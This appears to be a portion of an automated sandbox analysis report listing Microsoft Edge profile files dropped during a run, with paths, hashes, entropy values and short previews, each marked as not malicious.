SSDEEP:	12:6V0IvVaYebvqBZFUt8vVB/+vVX5OaYebvqBaJ:f6VaYebvyg8OOaYebvL
MD5:	05F69A46229BE1AD811FEBBA80FF002B
SHA1:	386AFE4A00BE05C40EFDA4B243D40ECDBD691F8A
SHA-256:	61955BE5DBA202D8C375DCC58D9FE8D74C68BAE47E7D7290C66F346EE6C29D69
SHA-512:	EB3EA13AC86A59590533BC3332967C092C6DF3F8BE8AB9F596E0C297341ED39F27B3FC0007D1D3AC914F6EAE0552B4E6F6C6D04BC16D8665CB4EB7AB6A6419E3
Malicious:	false
Preview:	2024/10/30-06:45:45.833 1ce0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/10/30-06:45:45.834 1ce0 Recovering log #3.2024/10/30-06:45:45.838 1ce0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.235938831320451
Encrypted:	false
SSDEEP:	6:65Hgt+q2PN723oH+TcwtpIFUt8v5HiSZmw+v5HiuVkwON723oH+Tcwta/WLJ:6PvVaYebmFUt8v3/+vl5OaYebaUJ
MD5:	A06715992D08CA076A1CCBA2E953B3AF
SHA1:	EA9991B5DA0B467CB6233B8BD150A95CC4D95339
SHA-256:	15B7783A2594CE4EA94B22E4F030553000D90333CC965524E739C0C6AC089293
SHA-512:	9843C1748AB3BC07B40BBF0763A315B6B394D1AAB67FC9E9526CBB66AE843B912B83E0C801BBA681FAF9AFD5132933F4A740B861BCC4487765B3ADA43CF8F3DB
Malicious:	false
Preview:	2024/10/30-06:45:27.095 1dd8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/10/30-06:45:27.096 1dd8 Recovering log #3.2024/10/30-06:45:27.096 1dd8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.235938831320451
Encrypted:	false
SSDEEP:	6:65Hgt+q2PN723oH+TcwtpIFUt8v5HiSZmw+v5HiuVkwON723oH+Tcwta/WLJ:6PvVaYebmFUt8v3/+vl5OaYebaUJ
MD5:	A06715992D08CA076A1CCBA2E953B3AF
SHA1:	EA9991B5DA0B467CB6233B8BD150A95CC4D95339
SHA-256:	15B7783A2594CE4EA94B22E4F030553000D90333CC965524E739C0C6AC089293
SHA-512:	9843C1748AB3BC07B40BBF0763A315B6B394D1AAB67FC9E9526CBB66AE843B912B83E0C801BBA681FAF9AFD5132933F4A740B861BCC4487765B3ADA43CF8F3DB
Malicious:	false
Preview:	2024/10/30-06:45:27.095 1dd8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/10/30-06:45:27.096 1dd8 Recovering log #3.2024/10/30-06:45:27.096 1dd8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2676714377417346
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMhSA1LyKOMq+8iP5GDHP/0jMVume:Kq+n0Jh91LyKOMq+8iP5GLP/0r
MD5:	16E643F85E120E989371676320B53A62
SHA1:	8EB15D01E544855B75EC69A15695BF588450B37C
SHA-256:	53BA9E9E4F826D30312B4901617768337C53EEEC9DBC4252C6B33D5471BFA5E2
SHA-512:	C43C549A9561BC1D3F568679F676051CA17BC740962BA4E48F461040BB135AE0AAD76500B41EBB7A96DBF5831BEEA3F17B7C6A4D1E3D388833A36ACC668457E6
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46636985121983116
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0sfz:v7doKsKuKZKlZNmu46yjx0w
MD5:	DB4AAC8232612FFED1FBD002FB27F42C
SHA1:	09338B2C8863FC2475E69D4005ABE50B8EFE008F
SHA-256:	37CE281639A4DBD223B038DBEFBD98ABF70205B07E3E00170B5AB22344F776AF
SHA-512:	7BE4D3EA2A332DD297E7A893681D6ECCE6B6B2DC134B2BE8E8A8022DB32128855603DC74AAEBF60563A973CFE18B34759EFDC7D13E7C6DF6C21D5A2896FC97EF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b9e535ca-0104-41ac-91c1-a99c33445c83.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\cd7b44ea-18c0-488c-9ae0-69a709a0b50d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16840), with no line terminators
Category:	dropped
Size (bytes):	16844
Entropy (8bit):	5.437741444795227
Encrypted:	false
SSDEEP:	192:sthJ99QTryDiuabatSuyplsP0aFvrE9k/nHAnDxKMwZqgow00N+88sbV+FII0Qw1:sthPGQSu4lsP0CDMwNq0tbGIrQwfKE
MD5:	E768269ACE6429D716DDD1EC7CA16279
SHA1:	58FDE306B555992E655C299FDDF7BBCB2B6BE9A1
SHA-256:	0CB9F178A4156D3AED733DD54DDFB2318E7608F204502D5000B16531E9631027
SHA-512:	6C3CBF473CE02C5E7598CBEE6432854FF7F93E80A2568C339943DD16B50E61282B69B238397E3FB95316DBC116339F0B5617F8E84B5C4B374704F8669E2A5F5C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374758727736641","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d4588bd3-4d80-4e48-8111-07b79920da7e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17598), with no line terminators
Category:	dropped
Size (bytes):	17602
Entropy (8bit):	5.476711819927787
Encrypted:	false
SSDEEP:	192:sthJ99QTryDiuabatSuyplsP0aFvrEj/Qk/nHAnDxKMwZqgow00N+88sbV+FII00:sthPGQSu4lsP0CDGmwNq0tbGIrQw4M3E
MD5:	C0782D58D318037F3F0F151E8B53E76F
SHA1:	D68436FC7E3A205EB89B2BFB17A640B9944C44A4
SHA-256:	F8B6B46ED8B9FEDFB77964409D011A106A87168A98AACA7C4719BB80D65F86EE
SHA-512:	836BFC15325AAA853E28AE1CC44ECD93AEC114E85447D1A2B39CB7966850B65AD0136D5B134FB166072FF8304353DAFE489CF92023055907985CBA53B76ADE88
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374758727736641","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\fa4b8b62-8bf9-4510-94cf-ef2b7c0e59b7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	5.561489411297964
Encrypted:	false
SSDEEP:	768:7HcNpCWyO7pLGLpHVW5woyf4s08F1+UoAYDCx9Tuqh0VfUC9xbog/OVPwJZiIZGL:78rCJOcpHVWaoyf30u1jaNJZBV87PKUR
MD5:	11B5BEAEC908F0D05F70DF7F56F55B38
SHA1:	BDA3785BE0FCD9628856191AED2B19D9F3A25D54
SHA-256:	CC91E00E75DAFF85A6FF51425F08518E5E4EE22FC332E67E36F027146FF4F207
SHA-512:	940E6861898F8221D3A5BDC3A67C60C1D5F8204E0BDF75B5E6B81D680F0C0596A1D2A7C248E21AC7349BDA4FA3A4117249E9000FD50539275898312FCD12784D
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374758727087623","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374758727087623","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10528588310885961
Encrypted:	false
SSDEEP:	12:JntvntSpEjVl/PnnnnnnnnnnnnvoQtEoxu:JntvntCoPnnnnnnnnnnnnvHj
MD5:	4C642AEDF6E57BFC6D15138E77988E1C
SHA1:	9B84B388511EBEC871847639B2B9978D6488284C
SHA-256:	8EB32F15369407A6C490B5CC3714E88780335DEF180C8BEF608B4601833FDEF7
SHA-512:	385EAD6821E0380E9609A8B2126B3BD906541CC13CD3FB451A7766865CE39EA6498D020A088213C08B233C8FF33A990BE1AC464BC2D276B82CDC14AF4B38ED04
Malicious:	false
Preview:	..-.............Q........,...!R($J...V....L.......-.............Q........,...!R($J...V....L.............M...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	333752
Entropy (8bit):	0.9357902003665718
Encrypted:	false
SSDEEP:	384:3DcjOZKzGbB9f01Oh1inG11F4d1Q+JyVuyQ8ZyVpjy0NkGyVOxyrT:3DcjOZKzQ12K/G/DO
MD5:	7EFEB355491065632C7A9BBE7CC7FF7F
SHA1:	2336E213F7172A4844FF211EF0FA047C8BA2DC5D
SHA-256:	A11C82AA8942BACD7703C96054C2207F4FA8E4C1E22AF58FBD773B882C546020
SHA-512:	5E9C886E9DA1D183D3A643BE3E49D432D65DC23CDD2D755B5AA55994A24F21EBF3ADBA6AB9BE638472B626D0528D840FAB162EB33DC362E5AAB76493DDB7D6C1
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	3.567991030779849
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuuqlln6+5U8VG:pHayDln6+s
MD5:	2CA1617903A15456A669652661955A2D
SHA1:	7D593F149B0B136534DCAF50EE496749E51B666C
SHA-256:	3EB2A50495A8F3F7B422C952C46159837593CE29D0BDC76AA78B58EE6A54D353
SHA-512:	D84F24F43366695909C89582F82579FEBCCEA042739D67A5118DDD7F24B3D4DB37128E20DDCFD6129C7768B626C97CFAF3453AC2FEE9B41954C6924D375E3A58
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=.................^.;...............#38_h.......6.Z..W.F.....2.M.....2.M.........V.e................V.e................V.e................l.P.0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.195118895735266
Encrypted:	false
SSDEEP:	6:65sMq2PN723oH+TcwtfrK+IFUt8v5s9Zmw+v5prPkwON723oH+TcwtfrUeLJ:6DvVaYeb23FUt8v2/+vTr5OaYeb3J
MD5:	E86B47A8D838E786BF755CF19EB3CB1E
SHA1:	D523513C8F73FD75BBAEAD9ABD8748BB8355CAE0
SHA-256:	59E5780EF6E8B2BD2BAD8870BEDA43A2BD538A5F13A75978380A998D81A9D98B
SHA-512:	214EBC34090F03CA8B48A5BD6676117431449D59F2B50C55B0A2F7B4474CE179CCCF989427D92BA27C558CDD355F3EE476C84FBD17EBBE1296DEB43D507D6D7D
Malicious:	false
Preview:	2024/10/30-06:45:27.744 1da4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/10/30-06:45:27.744 1da4 Recovering log #3.2024/10/30-06:45:27.745 1da4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.195118895735266
Encrypted:	false
SSDEEP:	6:65sMq2PN723oH+TcwtfrK+IFUt8v5s9Zmw+v5prPkwON723oH+TcwtfrUeLJ:6DvVaYeb23FUt8v2/+vTr5OaYeb3J
MD5:	E86B47A8D838E786BF755CF19EB3CB1E
SHA1:	D523513C8F73FD75BBAEAD9ABD8748BB8355CAE0
SHA-256:	59E5780EF6E8B2BD2BAD8870BEDA43A2BD538A5F13A75978380A998D81A9D98B
SHA-512:	214EBC34090F03CA8B48A5BD6676117431449D59F2B50C55B0A2F7B4474CE179CCCF989427D92BA27C558CDD355F3EE476C84FBD17EBBE1296DEB43D507D6D7D
Malicious:	false
Preview:	2024/10/30-06:45:27.744 1da4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/10/30-06:45:27.744 1da4 Recovering log #3.2024/10/30-06:45:27.745 1da4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.177965845839405
Encrypted:	false
SSDEEP:	6:65tuBpq2PN723oH+TcwtfrzAdIFUt8v5tuB0Zmw+v5tuB0kwON723oH+TcwtfrzS:6XuvvVaYeb9FUt8vXui/+vXuO5OaYebS
MD5:	60D3B8FEAE2C1624E81C77CFF1537F8C
SHA1:	545145C118E39CCDA6E5C0D226467E004A8C23C9
SHA-256:	8BE3AD5C7BB50B7623D265B2A8010C147A2AB884AE530124060639725CD0314E
SHA-512:	453DB3C9E8AD77B25B4D15BD9E0DDB0C187A2887541215781E4B7342789835DB6E8FF83B10DBF30FC2D95E53FB70D81F9F3FB905C5F9B3C83C66436ECA19C8D7
Malicious:	false
Preview:	2024/10/30-06:45:27.741 1da4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/10/30-06:45:27.741 1da4 Recovering log #3.2024/10/30-06:45:27.741 1da4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.177965845839405
Encrypted:	false
SSDEEP:	6:65tuBpq2PN723oH+TcwtfrzAdIFUt8v5tuB0Zmw+v5tuB0kwON723oH+TcwtfrzS:6XuvvVaYeb9FUt8vXui/+vXuO5OaYebS
MD5:	60D3B8FEAE2C1624E81C77CFF1537F8C
SHA1:	545145C118E39CCDA6E5C0D226467E004A8C23C9
SHA-256:	8BE3AD5C7BB50B7623D265B2A8010C147A2AB884AE530124060639725CD0314E
SHA-512:	453DB3C9E8AD77B25B4D15BD9E0DDB0C187A2887541215781E4B7342789835DB6E8FF83B10DBF30FC2D95E53FB70D81F9F3FB905C5F9B3C83C66436ECA19C8D7
Malicious:	false
Preview:	2024/10/30-06:45:27.741 1da4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/10/30-06:45:27.741 1da4 Recovering log #3.2024/10/30-06:45:27.741 1da4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089817943648934
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWGdi1zNtPMgkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynizkzItSmd6qE7lFoC
MD5:	5CD2652FB91916B161F24B5F0F46FF0F
SHA1:	BF1F6F669F2AE5C861C678DCE16AF10F33537A11
SHA-256:	2A6D964043BC9FE51AB3DADB087207B430D04F43C9C3FFC3F7FB80716E9E9B98
SHA-512:	9E5D43DC692BD8F802F073FDDB578C53612EB4B989BB2DD1D9DD402FF24E45D0AF0CBAF970813F1961535AECCF9A62C567E26869525D8EE9D081C99549B4DFBF
Malicious:	false
